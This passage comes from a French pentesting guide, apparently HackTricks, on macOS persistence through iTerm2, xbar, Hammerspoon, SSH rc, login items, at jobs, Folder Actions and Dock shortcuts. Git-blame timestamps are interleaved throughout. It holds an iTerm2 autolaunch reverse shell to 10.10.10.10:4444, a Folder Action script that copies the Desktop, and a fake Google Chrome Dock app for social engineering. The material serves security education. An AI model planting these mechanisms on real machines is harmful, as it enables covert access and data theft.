2024-09-21 18:24:59 +00:00
Là, vous pouvez trouver les **cron** **jobs** réguliers, les **at** **jobs** (pas très utilisés) et les **periodic** **jobs** (principalement utilisés pour nettoyer les fichiers temporaires). Les **periodic** **jobs** quotidiens peuvent être exécutés par exemple avec : `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
Pour ajouter un **user cronjob programmatically** , il est possible d'utiliser :
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 19:43:50 +00:00
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:19:42 +00:00
### iTerm2
2023-09-28 19:43:50 +00:00
2024-02-07 05:33:01 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
* iTerm2 avait des autorisations TCC accordées
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### Emplacements
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Ouvrir iTerm
2023-09-28 20:19:42 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Ouvrir iTerm
2023-09-28 20:19:42 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Ouvrir iTerm
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Les scripts stockés dans ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch` ** seront exécutés. Par exemple :
2023-09-28 20:19:42 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-09-21 18:24:59 +00:00
ou :
2023-11-02 17:40:28 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
```
2024-09-21 18:24:59 +00:00
Le script ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** sera également exécuté :
2023-09-28 19:43:50 +00:00
```bash
2023-09-28 20:19:42 +00:00
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-09-21 18:24:59 +00:00
Les préférences d'iTerm2 situées dans ** `~/Library/Preferences/com.googlecode.iterm2.plist` ** peuvent **indiquer une commande à exécuter** lorsque le terminal iTerm2 est ouvert.
2023-09-28 19:43:50 +00:00
2024-02-07 05:33:01 +00:00
Ce paramètre peut être configuré dans les paramètres d'iTerm2 :
2023-09-28 19:43:50 +00:00
2024-05-05 22:09:31 +00:00
< figure > < img src = "../.gitbook/assets/image (37).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:19:42 +00:00
Et la commande est reflétée dans les préférences :
```bash
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
2023-09-28 19:43:50 +00:00
[...]
2023-09-28 20:19:42 +00:00
"Initial Text" => "touch /tmp/iterm-start-command"
```
2024-09-21 18:24:59 +00:00
Vous pouvez définir la commande à exécuter avec :
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
{% code overflow="wrap" %}
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 19:43:50 +00:00
```
{% endcode %}
2023-09-28 20:19:42 +00:00
{% hint style="warning" %}
2024-07-18 17:36:49 +00:00
Il est très probable qu'il existe **d'autres moyens d'abuser des préférences d'iTerm2** pour exécuter des commandes arbitraires.
2023-09-28 20:19:42 +00:00
{% endhint %}
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
### xbar
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:19:42 +00:00
* Mais xbar doit être installé
2024-09-21 18:24:59 +00:00
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-07 05:33:01 +00:00
* Il demande des autorisations d'accessibilité
2023-09-28 19:43:50 +00:00
#### Emplacement
2023-09-28 20:19:42 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Une fois xbar exécuté
2023-09-28 20:19:42 +00:00
2023-12-29 14:33:37 +00:00
#### Description
2024-09-21 18:24:59 +00:00
Si le programme populaire [**xbar** ](https://github.com/matryer/xbar ) est installé, il est possible d'écrire un script shell dans ** `~/Library/Application\ Support/xbar/plugins/` ** qui sera exécuté lorsque xbar sera démarré :
2023-12-29 14:33:37 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:19:42 +00:00
### Hammerspoon
2024-07-17 18:34:44 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2023-12-26 02:10:49 +00:00
* Mais Hammerspoon doit être installé
2024-09-21 18:24:59 +00:00
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-07 05:33:01 +00:00
* Il demande des autorisations d'accessibilité
2023-12-26 02:10:49 +00:00
2024-09-21 18:24:59 +00:00
#### Location
2023-09-28 20:19:42 +00:00
* **`~/.hammerspoon/init.lua`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Une fois Hammerspoon exécuté
2023-09-28 19:43:50 +00:00
#### Description
2024-09-21 18:24:59 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ) sert de plateforme d'automatisation pour **macOS** , tirant parti du **langage de script LUA** pour ses opérations. Notamment, il prend en charge l'intégration de code AppleScript complet et l'exécution de scripts shell, améliorant considérablement ses capacités de script.
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
L'application recherche un seul fichier, `~/.hammerspoon/init.lua` , et lorsque démarré, le script sera exécuté.
2023-09-28 20:19:42 +00:00
```bash
2023-12-29 14:33:37 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:19:42 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 14:33:37 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:19:42 +00:00
EOF
```
2024-02-13 00:50:32 +00:00
### BetterTouchTool
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:32 +00:00
* Mais BetterTouchTool doit être installé
2024-09-21 18:24:59 +00:00
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
* Il demande des autorisations d'Automatisation-Courtes et d'Accessibilité
2024-02-13 00:50:32 +00:00
2024-09-21 18:24:59 +00:00
#### Location
2024-02-13 00:50:32 +00:00
* `~/Library/Application Support/BetterTouchTool/*`
2024-09-21 18:24:59 +00:00
Cet outil permet d'indiquer des applications ou des scripts à exécuter lorsque certains raccourcis sont pressés. Un attaquant pourrait être en mesure de configurer son propre **raccourci et action à exécuter dans la base de données** pour exécuter du code arbitraire (un raccourci pourrait simplement consister à appuyer sur une touche).
2024-02-13 00:50:32 +00:00
### Alfred
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:32 +00:00
* Mais Alfred doit être installé
2024-09-21 18:24:59 +00:00
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
* Il demande des autorisations d'Automatisation, d'Accessibilité et même d'accès complet au disque
2024-02-13 00:50:32 +00:00
2024-09-21 18:24:59 +00:00
#### Location
2024-02-13 00:50:32 +00:00
* `???`
2024-09-21 18:24:59 +00:00
Il permet de créer des flux de travail qui peuvent exécuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de créer un fichier de flux de travail et de faire charger ce fichier par Alfred (il est nécessaire de payer la version premium pour utiliser les flux de travail).
2024-02-13 00:50:32 +00:00
2023-09-28 19:43:50 +00:00
### SSHRC
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:19:42 +00:00
* Mais ssh doit être activé et utilisé
2024-09-21 18:24:59 +00:00
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
* L'utilisation de SSH nécessite un accès FDA
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
#### Location
2023-09-28 19:43:50 +00:00
* **`~/.ssh/rc`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Connexion via ssh
2023-09-28 19:43:50 +00:00
* **`/etc/ssh/sshrc`**
2024-09-21 18:24:59 +00:00
* Accès root requis
* **Déclencheur** : Connexion via ssh
2023-09-28 19:43:50 +00:00
2023-12-29 14:33:37 +00:00
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
Pour activer ssh, un accès complet au disque est requis :
2023-12-29 14:33:37 +00:00
```bash
sudo systemsetup -setremotelogin on
```
{% endhint %}
2023-09-28 19:43:50 +00:00
2023-12-29 14:33:37 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Par défaut, à moins que `PermitUserRC no` dans `/etc/ssh/sshd_config` , lorsque un utilisateur **se connecte via SSH** , les scripts ** `/etc/ssh/sshrc` ** et ** `~/.ssh/rc` ** seront exécutés.
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
### **Éléments de connexion**
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:19:42 +00:00
* Mais vous devez exécuter `osascript` avec des arguments
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### Emplacements
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2023-12-26 02:10:49 +00:00
* **Déclencheur :** Connexion
2024-09-21 18:24:59 +00:00
* Charge utile d'exploitation stockée appelant ** `osascript` **
2023-09-28 20:19:42 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2023-12-26 02:10:49 +00:00
* **Déclencheur :** Connexion
2024-09-21 18:24:59 +00:00
* Root requis
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### Description
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Dans Préférences Système -> Utilisateurs et groupes -> **Éléments de connexion** , vous pouvez trouver **des éléments à exécuter lorsque l'utilisateur se connecte** .\
Il est possible de les lister, d'ajouter et de supprimer depuis la ligne de commande :
2023-09-28 19:43:50 +00:00
```bash
2023-09-28 20:19:42 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
```
Ces éléments sont stockés dans le fichier ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` **
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Les **éléments de connexion** peuvent **également** être indiqués en utilisant l'API [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) qui stockera la configuration dans ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` **
2023-09-28 19:43:50 +00:00
2024-02-07 05:33:01 +00:00
### ZIP en tant qu'élément de connexion
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
(Voir la section précédente sur les éléments de connexion, c'est une extension)
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Si vous stockez un fichier **ZIP** en tant qu'**élément de connexion**, l'**`Archive Utility`** l'ouvrira et si le zip était par exemple stocké dans ** `~/Library` ** et contenait le dossier ** `LaunchAgents/file.plist` ** avec un backdoor, ce dossier sera créé (il ne l'est pas par défaut) et le plist sera ajouté, donc la prochaine fois que l'utilisateur se connectera, le **backdoor indiqué dans le plist sera exécuté** .
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Une autre option serait de créer les fichiers ** `.bash_profile` ** et ** `.zshenv` ** dans le HOME de l'utilisateur, donc si le dossier LaunchAgents existe déjà, cette technique fonctionnerait toujours.
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
### At
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2023-12-30 01:07:23 +00:00
* Mais vous devez **exécuter** ** `at` ** et il doit être **activé**
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-12-30 01:07:23 +00:00
2023-09-28 20:19:42 +00:00
#### Emplacement
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Besoin de **exécuter** ** `at` ** et il doit être **activé**
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### **Description**
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Les tâches `at` sont conçues pour **planifier des tâches uniques** à exécuter à certains moments. Contrairement aux tâches cron, les tâches `at` sont automatiquement supprimées après exécution. Il est crucial de noter que ces tâches persistent à travers les redémarrages du système, les marquant comme des préoccupations potentielles en matière de sécurité dans certaines conditions.
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Par **défaut** , elles sont **désactivées** mais l'utilisateur **root** peut **les activer** avec :
2023-09-28 20:19:42 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
Cela créera un fichier dans 1 heure :
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-09-21 18:24:59 +00:00
Vérifiez la file d'attente des tâches en utilisant `atq:`
2023-09-28 20:19:42 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-09-21 18:24:59 +00:00
Au-dessus, nous pouvons voir deux tâches planifiées. Nous pouvons imprimer les détails de la tâche en utilisant `at -c JOBNUMBER`
2023-09-28 20:19:42 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >& 2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
Si les tâches AT ne sont pas activées, les tâches créées ne seront pas exécutées.
{% endhint %}
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Les **fichiers de travail** peuvent être trouvés à `/private/var/at/jobs/`
2023-09-28 20:19:42 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-09-21 18:24:59 +00:00
Le nom de fichier contient la file d'attente, le numéro de travail et l'heure à laquelle il est prévu de s'exécuter. Par exemple, prenons un aperçu de `a0001a019bdcd2` .
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
* `a` - c'est la file d'attente
2024-09-21 18:24:59 +00:00
* `0001a` - numéro de travail en hexadécimal, `0x1a = 26`
* `019bdcd2` - temps en hexadécimal. Il représente les minutes écoulées depuis l'époque. `0x019bdcd2` est `26991826` en décimal. Si nous le multiplions par 60, nous obtenons `1619509560` , qui est `GMT : 27 avril 2021, mardi 7:46:00` .
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Si nous imprimons le fichier de travail, nous constatons qu'il contient les mêmes informations que celles obtenues en utilisant `at -c` .
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
### Actions de dossier
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Écriture : [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le bac à sable : [✅ ](https://emojipedia.org/check-mark-button )
* Mais vous devez être en mesure d'appeler `osascript` avec des arguments pour contacter ** `System Events` ** afin de pouvoir configurer les Actions de dossier
* Contournement TCC : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-29 21:02:51 +00:00
* Il a quelques autorisations TCC de base comme Bureau, Documents et Téléchargements
2023-09-28 20:19:42 +00:00
2023-09-28 19:43:50 +00:00
#### Emplacement
2023-09-28 20:19:42 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-09-21 18:24:59 +00:00
* Root requis
* **Déclencheur** : Accès au dossier spécifié
2023-09-28 20:19:42 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Accès au dossier spécifié
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Les Actions de dossier sont des scripts automatiquement déclenchés par des changements dans un dossier tels que l'ajout, la suppression d'éléments ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface Finder ou des commandes terminal.
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Pour configurer les Actions de dossier, vous avez des options comme :
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
1. Créer un flux de travail d'Action de dossier avec [Automator ](https://support.apple.com/guide/automator/welcome/mac ) et l'installer en tant que service.
2. Attacher un script manuellement via la configuration des Actions de dossier dans le menu contextuel d'un dossier.
3. Utiliser OSAScript pour envoyer des messages Apple Event à `System Events.app` pour configurer programmétiquement une Action de dossier.
2024-02-07 05:33:01 +00:00
* Cette méthode est particulièrement utile pour intégrer l'action dans le système, offrant un niveau de persistance.
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Le script suivant est un exemple de ce qui peut être exécuté par une Action de dossier :
2023-09-28 19:43:50 +00:00
```applescript
2024-02-07 05:33:01 +00:00
// source.js
2023-09-28 19:43:50 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-09-21 18:24:59 +00:00
Pour rendre le script ci-dessus utilisable par les Actions de Dossier, compilez-le en utilisant :
2024-02-07 05:33:01 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
2023-12-31 00:10:32 +00:00
```
2024-09-21 18:24:59 +00:00
Après la compilation du script, configurez les Actions de Dossier en exécutant le script ci-dessous. Ce script activera les Actions de Dossier globalement et attachera spécifiquement le script précédemment compilé au dossier Bureau.
2023-09-28 19:43:50 +00:00
```javascript
2024-02-07 05:33:01 +00:00
// Enabling and attaching Folder Action
2023-09-28 19:43:50 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-02-07 05:33:01 +00:00
Exécutez le script de configuration avec :
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-09-21 18:24:59 +00:00
* Voici comment implémenter cette persistance via l'interface graphique :
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Ceci est le script qui sera exécuté :
2023-09-28 19:43:50 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2023-12-26 02:10:49 +00:00
Compilez-le avec : `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
Déplacez-le vers :
2023-09-28 19:43:50 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-09-21 18:24:59 +00:00
Ensuite, ouvrez l'application `Folder Actions Setup` , sélectionnez le **dossier que vous souhaitez surveiller** et sélectionnez dans votre cas ** `folder.scpt` ** (dans mon cas, je l'ai appelé output2.scp) :
2023-09-28 19:43:50 +00:00
2024-05-05 22:09:31 +00:00
< figure > < img src = "../.gitbook/assets/image (39).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 19:43:50 +00:00
Maintenant, si vous ouvrez ce dossier avec **Finder** , votre script sera exécuté.
2024-09-21 18:24:59 +00:00
Cette configuration a été stockée dans le **plist** situé dans ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** au format base64.
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
Maintenant, essayons de préparer cette persistance sans accès GUI :
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
1. **Copiez `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** dans `/tmp` pour le sauvegarder :
2023-09-28 19:43:50 +00:00
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2024-09-21 18:24:59 +00:00
2. **Supprimez** les actions de dossier que vous venez de définir :
2023-09-28 19:43:50 +00:00
2024-05-05 22:09:31 +00:00
< figure > < img src = "../.gitbook/assets/image (40).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 19:43:50 +00:00
Maintenant que nous avons un environnement vide
2023-12-26 02:10:49 +00:00
3. Copiez le fichier de sauvegarde : `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
2024-09-21 18:24:59 +00:00
4. Ouvrez l'application Folder Actions Setup.app pour consommer cette configuration : `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 19:43:50 +00:00
{% hint style="danger" %}
2024-02-07 05:33:01 +00:00
Et cela n'a pas fonctionné pour moi, mais ce sont les instructions du rapport :(
2023-09-28 19:43:50 +00:00
{% endhint %}
2023-12-31 00:10:32 +00:00
### Raccourcis Dock
2023-09-28 19:43:50 +00:00
2024-02-07 05:33:01 +00:00
Rapport : [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:19:42 +00:00
* Mais vous devez avoir installé une application malveillante dans le système
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:19:42 +00:00
2023-09-28 19:43:50 +00:00
#### Emplacement
* `~/Library/Preferences/com.apple.dock.plist`
2023-12-26 02:10:49 +00:00
* **Déclencheur** : Lorsque l'utilisateur clique sur l'application dans le dock
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-01-10 06:28:13 +00:00
Toutes les applications qui apparaissent dans le Dock sont spécifiées dans le plist : ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Il est possible d'**ajouter une application** juste avec :
2023-09-28 19:43:50 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-09-21 18:24:59 +00:00
En utilisant un peu de **social engineering** , vous pourriez **imiter par exemple Google Chrome** dans le dock et exécuter en réalité votre propre script :
2023-09-28 21:22:18 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
